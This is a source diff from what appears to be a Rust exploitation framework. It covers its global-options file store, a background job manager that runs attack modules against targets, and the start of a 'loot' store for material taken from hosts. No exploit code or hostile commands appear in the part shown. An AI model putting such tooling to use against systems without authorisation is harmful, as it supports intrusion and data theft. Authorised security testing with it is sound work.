// the lock before persisting, allowing two concurrent setters to
|
||||
// disagree on what the on-disk file contains.
|
||||
let mut opts = self.options.write().await;
|
||||
if opts.len() >= Self::MAX_ENTRIES && !opts.contains_key(key) {
|
||||
return false;
|
||||
}
|
||||
opts.insert(key.to_string(), value.to_string());
|
||||
let snapshot = opts.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
true
|
||||
}
|
||||
|
||||
/// Remove a global option. Persists to disk.
|
||||
pub async fn unset(&self, key: &str) -> bool {
|
||||
// P1-1: same lock-during-save fix as `set()`.
|
||||
let mut opts = self.options.write().await;
|
||||
let removed = opts.remove(key).is_some();
|
||||
if removed {
|
||||
let snapshot = opts.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Get a global option value.
|
||||
pub async fn get(&self, key: &str) -> Option<String> {
|
||||
self.options.read().await.get(key).cloned()
|
||||
}
|
||||
|
||||
/// Synchronous blocking get for use in non-async contexts.
|
||||
/// Spins briefly if a writer holds the lock, so user-set values
|
||||
/// are never silently replaced by defaults during a concurrent save.
|
||||
/// If all retries are exhausted (only possible if a long-running writer
|
||||
/// holds the lock), logs a debug warning so the silent-default fallback
|
||||
/// is observable in tracing.
|
||||
pub fn try_get(&self, key: &str) -> Option<String> {
|
||||
for _ in 0..50 {
|
||||
if let Ok(guard) = self.options.try_read() {
|
||||
return guard.get(key).cloned();
|
||||
}
|
||||
std::thread::sleep(std::time::Duration::from_millis(1));
|
||||
}
|
||||
tracing::debug!(
|
||||
key,
|
||||
"global_options try_get gave up after 50ms — caller will fall back to default"
|
||||
);
|
||||
None
|
||||
}
|
||||
|
||||
/// Get all global options.
|
||||
pub async fn all(&self) -> HashMap<String, String> {
|
||||
self.options.read().await.clone()
|
||||
}
|
||||
|
||||
/// Save to disk using atomic write (write to temp, then rename).
|
||||
async fn save_locked(&self, opts: &HashMap<String, String>) {
|
||||
if let Some(parent) = self.file_path.parent()
|
||||
&& let Err(e) = tokio::fs::create_dir_all(parent).await {
|
||||
eprintln!("[!] Failed to create options directory: {}", e);
|
||||
return;
|
||||
}
|
||||
let tmp = self.file_path.with_extension("json.tmp");
|
||||
let json = match serde_json::to_string_pretty(opts) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to serialize options: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
{
|
||||
// P1-7: O_NOFOLLOW + create-with-mode atomically.
|
||||
let mut opts = tokio::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true).mode(0o600);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
opts.custom_flags(libc::O_NOFOLLOW);
|
||||
}
|
||||
let file = match opts.open(&tmp).await {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write temp options file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
|
||||
eprintln!("[!] Failed to write temp options file: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
|
||||
eprintln!("[!] Failed to rename options file: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Display all global options in a formatted table.
|
||||
pub async fn display(&self) {
|
||||
let opts = self.all().await;
|
||||
if opts.is_empty() {
|
||||
println!("{}", "No global options set. Use 'setg <key> <value>' to set one.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", "Global Options:".bold().underline());
|
||||
println!();
|
||||
println!(" {:<30} {}", "Key".bold(), "Value".bold());
|
||||
println!(" {:<30} {}", "---".dimmed(), "-----".dimmed());
|
||||
let mut keys: Vec<_> = opts.keys().collect();
|
||||
keys.sort();
|
||||
for key in keys {
|
||||
if let Some(val) = opts.get(key) {
|
||||
println!(" {:<30} {}", key.green(), val);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static GLOBAL_OPTIONS: Lazy<GlobalOptions> = Lazy::new(GlobalOptions::new);
|
||||
+625
@@ -0,0 +1,625 @@
|
||||
use std::collections::HashMap;
|
||||
use std::sync::atomic::{AtomicU32, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use std::sync::RwLock;
|
||||
|
||||
use rand::RngExt;
|
||||
|
||||
use colored::*;
|
||||
use serde::Serialize;
|
||||
use tokio::sync::{broadcast, watch};
|
||||
use tokio_util::sync::CancellationToken;
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
pub enum JobEvent {
|
||||
Started { id: u32, module: String, target: String },
|
||||
Completed { id: u32 },
|
||||
Failed { id: u32, error: String },
|
||||
Cancelled { id: u32 },
|
||||
}
|
||||
|
||||
/// Status of a background job.
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub enum JobStatus {
|
||||
Running,
|
||||
Completed,
|
||||
Failed(String),
|
||||
Cancelled,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for JobStatus {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
JobStatus::Running => write!(f, "Running"),
|
||||
JobStatus::Completed => write!(f, "Completed"),
|
||||
JobStatus::Failed(msg) => write!(f, "Failed: {}", msg),
|
||||
JobStatus::Cancelled => write!(f, "Cancelled"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Thread-safe output + progress tracker shared between the job task and API readers.
|
||||
pub struct JobProgress {
|
||||
output: RwLock<std::collections::VecDeque<String>>,
|
||||
total_lines_pushed: AtomicU64,
|
||||
pub success_count: AtomicU64,
|
||||
pub fail_count: AtomicU64,
|
||||
pub total_targets: AtomicU64,
|
||||
pub last_activity: RwLock<chrono::DateTime<chrono::Local>>,
|
||||
}
|
||||
|
||||
const MAX_OUTPUT_LINES: usize = 5000;
|
||||
const MAX_LINE_BYTES: usize = 10_240;
|
||||
|
||||
impl JobProgress {
|
||||
pub fn new() -> Arc<Self> {
|
||||
Arc::new(Self {
|
||||
output: RwLock::new(std::collections::VecDeque::with_capacity(MAX_OUTPUT_LINES)),
|
||||
total_lines_pushed: AtomicU64::new(0),
|
||||
success_count: AtomicU64::new(0),
|
||||
fail_count: AtomicU64::new(0),
|
||||
total_targets: AtomicU64::new(0),
|
||||
last_activity: RwLock::new(chrono::Local::now()),
|
||||
})
|
||||
}
|
||||
|
||||
pub fn push_line(&self, line: String) {
|
||||
let capped = if line.len() > MAX_LINE_BYTES {
|
||||
let mut t = line;
|
||||
t.truncate(MAX_LINE_BYTES);
|
||||
t.push_str(" [truncated]");
|
||||
t
|
||||
} else {
|
||||
line
|
||||
};
|
||||
{
|
||||
let mut buf = self.output.write().unwrap_or_else(|e| e.into_inner());
|
||||
if buf.len() >= MAX_OUTPUT_LINES {
|
||||
buf.pop_front();
|
||||
}
|
||||
buf.push_back(capped);
|
||||
}
|
||||
self.total_lines_pushed.fetch_add(1, Ordering::Relaxed);
|
||||
*self.last_activity.write().unwrap_or_else(|e| e.into_inner()) = chrono::Local::now();
|
||||
}
|
||||
|
||||
pub fn get_output(&self, from: usize) -> Vec<String> {
|
||||
self.output.read().unwrap_or_else(|e| e.into_inner())
|
||||
.iter().skip(from).cloned().collect()
|
||||
}
|
||||
|
||||
pub fn output_len(&self) -> usize {
|
||||
self.output.read().unwrap_or_else(|e| e.into_inner()).len()
|
||||
}
|
||||
|
||||
pub fn completed(&self) -> u64 {
|
||||
self.success_count.load(Ordering::Relaxed) + self.fail_count.load(Ordering::Relaxed)
|
||||
}
|
||||
}
|
||||
|
||||
/// A background job entry.
|
||||
pub struct Job {
|
||||
pub id: u32,
|
||||
pub module: String,
|
||||
pub target: String,
|
||||
pub started_at: chrono::DateTime<chrono::Local>,
|
||||
pub status: JobStatus,
|
||||
pub progress: Arc<JobProgress>,
|
||||
finished_at: Option<std::time::Instant>,
|
||||
/// Lifecycle signal observed by the outer `tokio::select!` arm in `spawn`.
|
||||
/// Triggered together with `cancel_token` from `kill`.
|
||||
cancel_tx: watch::Sender<bool>,
|
||||
/// Cooperative-cancellation signal passed into the module's `RunContext`.
|
||||
/// Module loops can poll `crate::context::is_cancelled()` to terminate
|
||||
/// gracefully when `kill` is invoked.
|
||||
cancel_token: CancellationToken,
|
||||
handle: Option<tokio::task::JoinHandle<()>>,
|
||||
}
|
||||
|
||||
const MAX_JOBS: usize = 1000;
|
||||
const FINISHED_JOB_RETENTION_SECS: u64 = 300;
|
||||
const DEFAULT_MAX_RUNNING: usize = 5;
|
||||
|
||||
/// Manages background jobs.
|
||||
pub struct JobManager {
|
||||
jobs: RwLock<HashMap<u32, Job>>,
|
||||
max_running: AtomicU32,
|
||||
event_tx: broadcast::Sender<JobEvent>,
|
||||
}
|
||||
|
||||
impl JobManager {
|
||||
pub(crate) fn new() -> Self {
|
||||
let (event_tx, _) = broadcast::channel(256);
|
||||
Self {
|
||||
jobs: RwLock::new(HashMap::new()),
|
||||
max_running: AtomicU32::new(DEFAULT_MAX_RUNNING as u32),
|
||||
event_tx,
|
||||
}
|
||||
}
|
||||
|
||||
/// P1-2: generate an unpredictable u32 job ID across the full 32-bit space
|
||||
/// (skipping 0). Sequential IDs let one tenant guess another tenant's
|
||||
/// `jobId` and subscribe to / kill it. With MAX_JOBS = 1000 the birthday
|
||||
/// collision probability is ~1.2e-4 per spawn — the retry loop in `spawn`
|
||||
/// covers the rare hit.
|
||||
fn fresh_id() -> u32 {
|
||||
let mut rng = rand::rng();
|
||||
let mut id: u32 = rng.random();
|
||||
if id == 0 { id = 1; }
|
||||
id
|
||||
}
|
||||
|
||||
pub fn subscribe(&self) -> broadcast::Receiver<JobEvent> {
|
||||
self.event_tx.subscribe()
|
||||
}
|
||||
|
||||
pub fn running_count(&self) -> usize {
|
||||
self.jobs.read().map(|jobs| {
|
||||
jobs.values().filter(|j| {
|
||||
j.handle.as_ref().map(|h| !h.is_finished()).unwrap_or(false)
|
||||
}).count()
|
||||
}).unwrap_or(0)
|
||||
}
|
||||
|
||||
pub fn get_max_running(&self) -> u32 {
|
||||
self.max_running.load(Ordering::Relaxed)
|
||||
}
|
||||
|
||||
pub fn set_max_running(&self, limit: u32) {
|
||||
let clamped = limit.clamp(1, 100);
|
||||
self.max_running.store(clamped, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
/// Record a terminal status written back by the spawned task itself, so a
|
||||
/// crashed/errored job is never later misreported as "Completed" by the
|
||||
/// `is_finished()` fallback in `list()`/`get_detail()`. Only transitions a
|
||||
/// job that is still `Running` (a `kill()` that already set `Cancelled`
|
||||
/// must win), and stamps `finished_at` for retention.
|
||||
fn record_terminal(&self, id: u32, status: JobStatus) {
|
||||
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
|
||||
if let Some(job) = jobs.get_mut(&id) {
|
||||
if matches!(job.status, JobStatus::Running) {
|
||||
job.status = status;
|
||||
}
|
||||
if job.finished_at.is_none() {
|
||||
job.finished_at = Some(std::time::Instant::now());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Mark a background job as successfully completed. Called by the spawned
|
||||
/// task on a clean `Ok` result so the durable record reflects success.
|
||||
pub fn mark_completed(&self, id: u32) {
|
||||
self.record_terminal(id, JobStatus::Completed);
|
||||
}
|
||||
|
||||
/// Mark a background job as failed and persist the failure reason into the
|
||||
/// durable `Job` record (not just the bounded progress buffer / transient
|
||||
/// broadcast event). Called by the spawned task on an `Err`/panic result.
|
||||
pub fn mark_failed(&self, id: u32, msg: String) {
|
||||
self.record_terminal(id, JobStatus::Failed(msg));
|
||||
}
|
||||
|
||||
pub fn spawn(
|
||||
&self,
|
||||
module: String,
|
||||
target: String,
|
||||
verbose: bool,
|
||||
config: Option<crate::config::ModuleConfig>,
|
||||
) -> Result<(u32, Arc<JobProgress>), String> {
|
||||
let mut jobs = self.jobs.write().map_err(|e| format!("Job lock poisoned: {e}"))?;
|
||||
|
||||
let running = jobs.values().filter(|j| {
|
||||
j.handle.as_ref().map(|h| !h.is_finished()).unwrap_or(false)
|
||||
}).count();
|
||||
let max = self.max_running.load(Ordering::Relaxed) as usize;
|
||||
if running >= max {
|
||||
return Err(format!(
|
||||
"Job limit reached: {}/{} concurrent jobs running. Kill a running job or increase the limit.",
|
||||
running, max
|
||||
));
|
||||
}
|
||||
|
||||
let mut id = Self::fresh_id();
|
||||
while jobs.contains_key(&id) {
|
||||
id = Self::fresh_id();
|
||||
}
|
||||
|
||||
if jobs.len() >= MAX_JOBS {
|
||||
let now = std::time::Instant::now();
|
||||
jobs.retain(|_, j| {
|
||||
match j.finished_at {
|
||||
None => true,
|
||||
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
|
||||
}
|
||||
});
|
||||
if jobs.len() >= MAX_JOBS {
|
||||
let mut finished: Vec<(u32, std::time::Instant)> = jobs.iter()
|
||||
.filter_map(|(jid, j)| j.finished_at.map(|t| (*jid, t)))
|
||||
.collect();
|
||||
finished.sort_by_key(|(_, t)| *t);
|
||||
for (oldest_id, _) in finished.into_iter().take(jobs.len() - MAX_JOBS + 1) {
|
||||
jobs.remove(&oldest_id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let (cancel_tx, cancel_rx) = watch::channel(false);
|
||||
let cancel_token = CancellationToken::new();
|
||||
let cancel_token_for_task = cancel_token.clone();
|
||||
let progress = JobProgress::new();
|
||||
let prog_clone = progress.clone();
|
||||
let mod_clone = module.clone();
|
||||
let tgt_clone = target.clone();
|
||||
let evt_module = module.clone();
|
||||
let evt_target = target.clone();
|
||||
let event_tx = self.event_tx.clone();
|
||||
|
||||
// `tokio::spawn` does NOT inherit the `CURRENT_TENANT` task-local, so a
|
||||
// background job would otherwise run against the process-global stores
|
||||
// and leak findings across tenants / into shell mode. Capture the
|
||||
// requesting tenant here (where the scope is still active) and
|
||||
// re-establish it inside the spawned task. Fall back to the
|
||||
// RunContext-scoped tenant (the same precedence `tenant::resolve` uses),
|
||||
// so a job spawned from module execution — where the tenant is set via
|
||||
// RunContext rather than the CURRENT_TENANT task-local — still binds to
|
||||
// the correct tenant instead of leaking into the process-global stores.
|
||||
let tenant_for_task = crate::tenant::CURRENT_TENANT
|
||||
.try_with(|t| t.clone())
|
||||
.ok()
|
||||
.or_else(crate::context::current_tenant_id);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let mut rx = cancel_rx;
|
||||
prog_clone.push_line(format!("[*] Starting {} against {}", mod_clone, tgt_clone));
|
||||
// P2-A10 / P3-15: catch panics from inside the module so the job
|
||||
// surfaces as Failed instead of staying "Running" forever after
|
||||
// `tokio::spawn` swallows the panic. Requires `AssertUnwindSafe`
|
||||
// because the inner future closes over arbitrary module state.
|
||||
use futures::FutureExt;
|
||||
use std::panic::AssertUnwindSafe;
|
||||
let run_fut = {
|
||||
let m = mod_clone.clone();
|
||||
let t = tgt_clone.clone();
|
||||
let token = cancel_token_for_task;
|
||||
AssertUnwindSafe(async move {
|
||||
if let Some(cfg) = config {
|
||||
let (result, _ctx) = crate::context::run_with_context_target_and_cancel(
|
||||
cfg,
|
||||
t.clone(),
|
||||
token,
|
||||
|| async move { crate::commands::run_module(&m, &t, verbose).await },
|
||||
).await;
|
||||
result
|
||||
} else {
|
||||
crate::commands::run_module(&m, &t, verbose).await
|
||||
}
|
||||
})
|
||||
.catch_unwind()
|
||||
};
|
||||
// Keep a copy of the tenant id for the terminal-status updates below:
|
||||
// they run OUTSIDE the CURRENT_TENANT scope (only `run_fut` is
|
||||
// scoped), and a tenant job is registered in that tenant's own
|
||||
// JobManager, not the global one — so the terminal transition must be
|
||||
// applied to the same per-tenant manager (resolved via this id),
|
||||
// otherwise the job is stuck reporting Running and never records
|
||||
// Completed/Failed/Cancelled.
|
||||
let tenant_for_status = tenant_for_task.clone();
|
||||
// Re-establish the tenant context dropped by `tokio::spawn` so the
|
||||
// module's loot/hosts/findings and cfg_prompt lookups resolve to the
|
||||
// requesting tenant's stores (or stay global when spawned from CLI).
|
||||
let run_fut = async move {
|
||||
match tenant_for_task {
|
||||
Some(tid) => crate::tenant::CURRENT_TENANT.scope(tid, run_fut).await,
|
||||
None => run_fut.await,
|
||||
}
|
||||
};
|
||||
// Capture the module's console output. A background job has no
|
||||
// foreground OUTPUT_BUFFER, so without this the module's mprintln!
|
||||
// output would hit the server's real stdout and be lost — API
|
||||
// clients polling get_output() would only ever see the framing
|
||||
// lines. Scope a buffer around the run and stream it into the job's
|
||||
// progress log via a periodic drainer (+ a final flush).
|
||||
let job_buf = crate::output::OutputBuffer::new();
|
||||
let run_fut = {
|
||||
let buf = job_buf.clone();
|
||||
async move { crate::output::OUTPUT_BUFFER.scope(buf, run_fut).await }
|
||||
};
|
||||
// Scan counters: the scheduler fills these with real per-target
|
||||
// total/succeeded/failed so get_detail reports live progress instead
|
||||
// of the previously always-zero counters.
|
||||
let scan_counters = std::sync::Arc::new(crate::context::ScanCounters::default());
|
||||
let run_fut = {
|
||||
let c = scan_counters.clone();
|
||||
async move { crate::context::SCAN_COUNTERS.scope(c, run_fut).await }
|
||||
};
|
||||
let (stop_tx, mut stop_rx) = watch::channel(false);
|
||||
let drainer = {
|
||||
let buf = job_buf.clone();
|
||||
let prog = prog_clone.clone();
|
||||
let counters = scan_counters.clone();
|
||||
tokio::spawn(async move {
|
||||
use std::sync::atomic::Ordering::Relaxed;
|
||||
loop {
|
||||
let stop = tokio::select! {
|
||||
_ = tokio::time::sleep(std::time::Duration::from_millis(400)) => false,
|
||||
_ = stop_rx.changed() => true,
|
||||
};
|
||||
let chunk = buf.drain_stdout();
|
||||
for line in chunk.lines() {
|
||||
prog.push_line(line.to_string());
|
||||
}
|
||||
// Mirror the scheduler's live scan counters into the job.
|
||||
prog.total_targets.store(counters.total.load(Relaxed), Relaxed);
|
||||
prog.success_count.store(counters.succeeded.load(Relaxed), Relaxed);
|
||||
prog.fail_count.store(counters.failed.load(Relaxed), Relaxed);
|
||||
if stop { break; }
|
||||
}
|
||||
})
|
||||
};
|
||||
tokio::select! {
|
||||
result = run_fut => {
|
||||
let result = match result {
|
||||
Ok(inner) => inner,
|
||||
Err(panic) => {
|
||||
let msg = if let Some(s) = panic.downcast_ref::<&str>() {
|
||||
format!("module panicked: {}", s)
|
||||
} else if let Some(s) = panic.downcast_ref::<String>() {
|
||||
format!("module panicked: {}", s)
|
||||
} else {
|
||||
"module panicked (unknown payload)".to_string()
|
||||
};
|
||||
Err(anyhow::anyhow!(msg))
|
||||
}
|
||||
};
|
||||
match result {
|
||||
Ok(_) => {
|
||||
// Persist the terminal status into the durable Job
|
||||
// record so a finished job is reported as Completed
|
||||
// explicitly rather than via the is_finished()
|
||||
// fallback (which can't distinguish success/failure).
|
||||
match &tenant_for_status {
|
||||
Some(tid) => match crate::tenant::resolve_for(tid) {
|
||||
Ok(s) => s.job_manager().mark_completed(id),
|
||||
Err(e) => tracing::warn!("job {}: could not resolve tenant '{}' to record completion: {}", id, tid, e),
|
||||
},
|
||||
None => JOB_MANAGER.mark_completed(id),
|
||||
}
|
||||
prog_clone.push_line(format!("[+] Completed: {} against {}", mod_clone, tgt_clone));
|
||||
crate::mprintln!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
|
||||
if let Err(e) = event_tx.send(JobEvent::Completed { id }) {
|
||||
tracing::debug!("No WS subscribers for job event: {}", e);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
// Persist the failure reason into the durable Job
|
||||
// record so operators polling list()/get_detail()
|
||||
// see Failed(msg), not a misleading "Completed".
|
||||
match &tenant_for_status {
|
||||
Some(tid) => match crate::tenant::resolve_for(tid) {
|
||||
Ok(s) => s.job_manager().mark_failed(id, msg.clone()),
|
||||
Err(e) => tracing::warn!("job {}: could not resolve tenant '{}' to record failure: {}", id, tid, e),
|
||||
},
|
||||
None => JOB_MANAGER.mark_failed(id, msg.clone()),
|
||||
}
|
||||
prog_clone.push_line(format!("[-] Failed: {} - {}", mod_clone, msg));
|
||||
crate::meprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, msg).red());
|
||||
if let Err(e) = event_tx.send(JobEvent::Failed { id, error: msg }) {
|
||||
tracing::debug!("No WS subscribers for job event: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
_ = async { while rx.changed().await.is_ok() { if *rx.borrow() { break; } } } => {
|
||||
// kill() already set status = Cancelled under the write lock;
|
||||
// record_terminal() won't overwrite it. This is a no-op for
|
||||
// status but ensures finished_at is stamped if kill() raced.
|
||||
match &tenant_for_status {
|
||||
Some(tid) => match crate::tenant::resolve_for(tid) {
|
||||
Ok(s) => s.job_manager().record_terminal(id, JobStatus::Cancelled),
|
||||
Err(e) => tracing::warn!("job {}: could not resolve tenant '{}' to record cancellation: {}", id, tid, e),
|
||||
},
|
||||
None => JOB_MANAGER.record_terminal(id, JobStatus::Cancelled),
|
||||
}
|
||||
prog_clone.push_line(format!("[!] Cancelled: {}", mod_clone));
|
||||
crate::mprintln!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
|
||||
if let Err(e) = event_tx.send(JobEvent::Cancelled { id }) {
|
||||
tracing::debug!("No WS subscribers for job event: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Stop the output drainer and flush any remaining captured output so
|
||||
// the final lines of the run are visible in get_output().
|
||||
if let Err(e) = stop_tx.send(true) {
|
||||
tracing::debug!("job output drainer stop signal failed: {e}");
|
||||
}
|
||||
if let Err(e) = drainer.await {
|
||||
tracing::debug!("job output drainer join failed: {e}");
|
||||
}
|
||||
});
|
||||
|
||||
jobs.insert(id, Job {
|
||||
id,
|
||||
module,
|
||||
target,
|
||||
started_at: chrono::Local::now(),
|
||||
status: JobStatus::Running,
|
||||
progress: progress.clone(),
|
||||
finished_at: None,
|
||||
cancel_tx,
|
||||
cancel_token,
|
||||
handle: Some(handle),
|
||||
});
|
||||
drop(jobs);
|
||||
|
||||
if let Err(e) = self.event_tx.send(JobEvent::Started {
|
||||
id,
|
||||
module: evt_module,
|
||||
target: evt_target,
|
||||
}) {
|
||||
tracing::debug!("No WS subscribers for job started event: {}", e);
|
||||
}
|
||||
|
||||
Ok((id, progress))
|
||||
}
|
||||
|
||||
pub fn kill(&self, id: u32) -> bool {
|
||||
let handle_and_tx = {
|
||||
let mut jobs = match self.jobs.write() {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
tracing::warn!(job_id = id, "JobManager write lock poisoned during kill: {}", e);
|
||||
return false;
|
||||
}
|
||||
};
|
||||
let job = match jobs.get_mut(&id) {
|
||||
Some(j) => j,
|
||||
None => return false,
|
||||
};
|
||||
if let Err(e) = job.cancel_tx.send(true) {
|
||||
crate::meprintln!("[!] Job cancel signal error: {}", e);
|
||||
}
|
||||
// Trigger cooperative cancellation visible to module code via
|
||||
// `crate::context::is_cancelled()`. Idempotent — safe to call
|
||||
// even if the watch::Sender already fired.
|
||||
job.cancel_token.cancel();
|
||||
job.status = JobStatus::Cancelled;
|
||||
if job.finished_at.is_none() {
|
||||
job.finished_at = Some(std::time::Instant::now());
|
||||
}
|
||||
job.handle.take()
|
||||
};
|
||||
if let Some(handle) = handle_and_tx {
|
||||
let abort_handle = handle.abort_handle();
|
||||
// Fire-and-forget cleanup: give the job 2s to honour the
|
||||
// cooperative cancel before we hard-abort. We log via tracing
|
||||
// so a panic in the cleanup task isn't silently swallowed.
|
||||
tokio::spawn(async move {
|
||||
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
|
||||
if !handle.is_finished() {
|
||||
tracing::debug!("Job did not exit within 2s — hard-aborting");
|
||||
abort_handle.abort();
|
||||
}
|
||||
});
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
pub fn list(&self) -> Vec<(u32, String, String, String, String)> {
|
||||
let mut result = Vec::new();
|
||||
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
|
||||
let now = std::time::Instant::now();
|
||||
for job in jobs.values_mut() {
|
||||
// Fallback only: a finished handle whose task never recorded a
|
||||
// terminal status (e.g. hard-aborted before mark_*). Never
|
||||
// overwrites a recorded Completed/Failed/Cancelled — the task
|
||||
// (mark_completed/mark_failed) and kill() (Cancelled) own those.
|
||||
if let Some(ref handle) = job.handle
|
||||
&& handle.is_finished() && matches!(job.status, JobStatus::Running) {
|
||||
job.status = JobStatus::Completed;
|
||||
}
|
||||
let terminal = matches!(
|
||||
job.status,
|
||||
JobStatus::Completed | JobStatus::Failed(_) | JobStatus::Cancelled
|
||||
) || job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(false);
|
||||
if terminal && job.finished_at.is_none() {
|
||||
job.finished_at = Some(now);
|
||||
}
|
||||
}
|
||||
jobs.retain(|_, job| match job.finished_at {
|
||||
None => true,
|
||||
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
|
||||
});
|
||||
let mut ids: Vec<_> = jobs.keys().collect();
|
||||
ids.sort();
|
||||
for &id in &ids {
|
||||
if let Some(job) = jobs.get(id) {
|
||||
result.push((
|
||||
*id,
|
||||
job.module.clone(),
|
||||
job.target.clone(),
|
||||
job.started_at.format("%H:%M:%S").to_string(),
|
||||
format!("{}", job.status),
|
||||
));
|
||||
}
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
pub fn get_detail(&self, id: u32) -> Option<(String, String, String, String, Arc<JobProgress>)> {
|
||||
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
|
||||
let job = jobs.get_mut(&id)?;
|
||||
// Fallback only: a finished handle whose task never recorded a terminal
|
||||
// status. Never overwrites a recorded Completed/Failed/Cancelled.
|
||||
if let Some(ref handle) = job.handle
|
||||
&& handle.is_finished() && matches!(job.status, JobStatus::Running) {
|
||||
job.status = JobStatus::Completed;
|
||||
}
|
||||
let terminal = matches!(
|
||||
job.status,
|
||||
JobStatus::Completed | JobStatus::Failed(_) | JobStatus::Cancelled
|
||||
) || job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(false);
|
||||
if terminal && job.finished_at.is_none() {
|
||||
job.finished_at = Some(std::time::Instant::now());
|
||||
}
|
||||
Some((
|
||||
job.module.clone(),
|
||||
job.target.clone(),
|
||||
job.started_at.format("%H:%M:%S").to_string(),
|
||||
format!("{}", job.status),
|
||||
job.progress.clone(),
|
||||
))
|
||||
}
|
||||
|
||||
pub fn get_progress(&self, id: u32) -> Option<Arc<JobProgress>> {
|
||||
self.jobs.read().unwrap_or_else(|e| e.into_inner())
|
||||
.get(&id).map(|j| j.progress.clone())
|
||||
}
|
||||
|
||||
pub fn cleanup(&self) {
|
||||
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
|
||||
let now = std::time::Instant::now();
|
||||
for job in jobs.values_mut() {
|
||||
let finished = job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(true);
|
||||
if finished && job.finished_at.is_none() {
|
||||
job.finished_at = Some(now);
|
||||
}
|
||||
}
|
||||
jobs.retain(|_, job| match job.finished_at {
|
||||
None => true,
|
||||
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
|
||||
});
|
||||
}
|
||||
|
||||
pub fn display(&self) {
|
||||
let jobs = self.list();
|
||||
if jobs.is_empty() {
|
||||
crate::mprintln!("{}", "No active jobs.".dimmed());
|
||||
return;
|
||||
}
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("Background Jobs ({}):", jobs.len()).bold().underline());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
"ID".bold(), "Module".bold(), "Target".bold(), "Started".bold(), "Status".bold());
|
||||
crate::mprintln!(" {}", "-".repeat(80).dimmed());
|
||||
for (id, module, target, started, status) in &jobs {
|
||||
let status_colored = if status == "Running" {
|
||||
status.green().to_string()
|
||||
} else if status == "Completed" {
|
||||
status.cyan().to_string()
|
||||
} else if status.starts_with("Failed") {
|
||||
status.red().to_string()
|
||||
} else {
|
||||
status.yellow().to_string()
|
||||
};
|
||||
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
id, module, target, started, status_colored);
|
||||
}
|
||||
crate::mprintln!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static JOB_MANAGER: Lazy<JobManager> = Lazy::new(JobManager::new);
|
||||
+394
@@ -0,0 +1,394 @@
|
||||
use std::path::PathBuf;
|
||||
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
/// Metadata for a stored loot item.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct LootEntry {
|
||||
pub id: String,
|
||||
pub host: String,
|
||||
pub loot_type: String,
|
||||
pub filename: String,
|
||||
pub description: String,
|
||||
pub source_module: String,
|
||||
pub timestamp: String,
|
||||
}
|
||||
|
||||
/// Loot store backed by JSON index + file directory.
|
||||
pub struct LootStore {
|
||||
entries: RwLock<Vec<LootEntry>>,
|
||||
index_path: PathBuf,
|
||||
loot_dir: PathBuf,
|
||||
}
|
||||
|
||||
impl LootStore {
|
||||
fn new() -> Self {
|
||||
let base = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit");
|
||||
Self::with_base_dir(base)
|
||||
}
|
||||
|
||||
/// Create a loot store under a custom base directory.
|
||||
pub(crate) fn with_base_dir(base: PathBuf) -> Self {
|
||||
let loot_dir = base.join("loot");
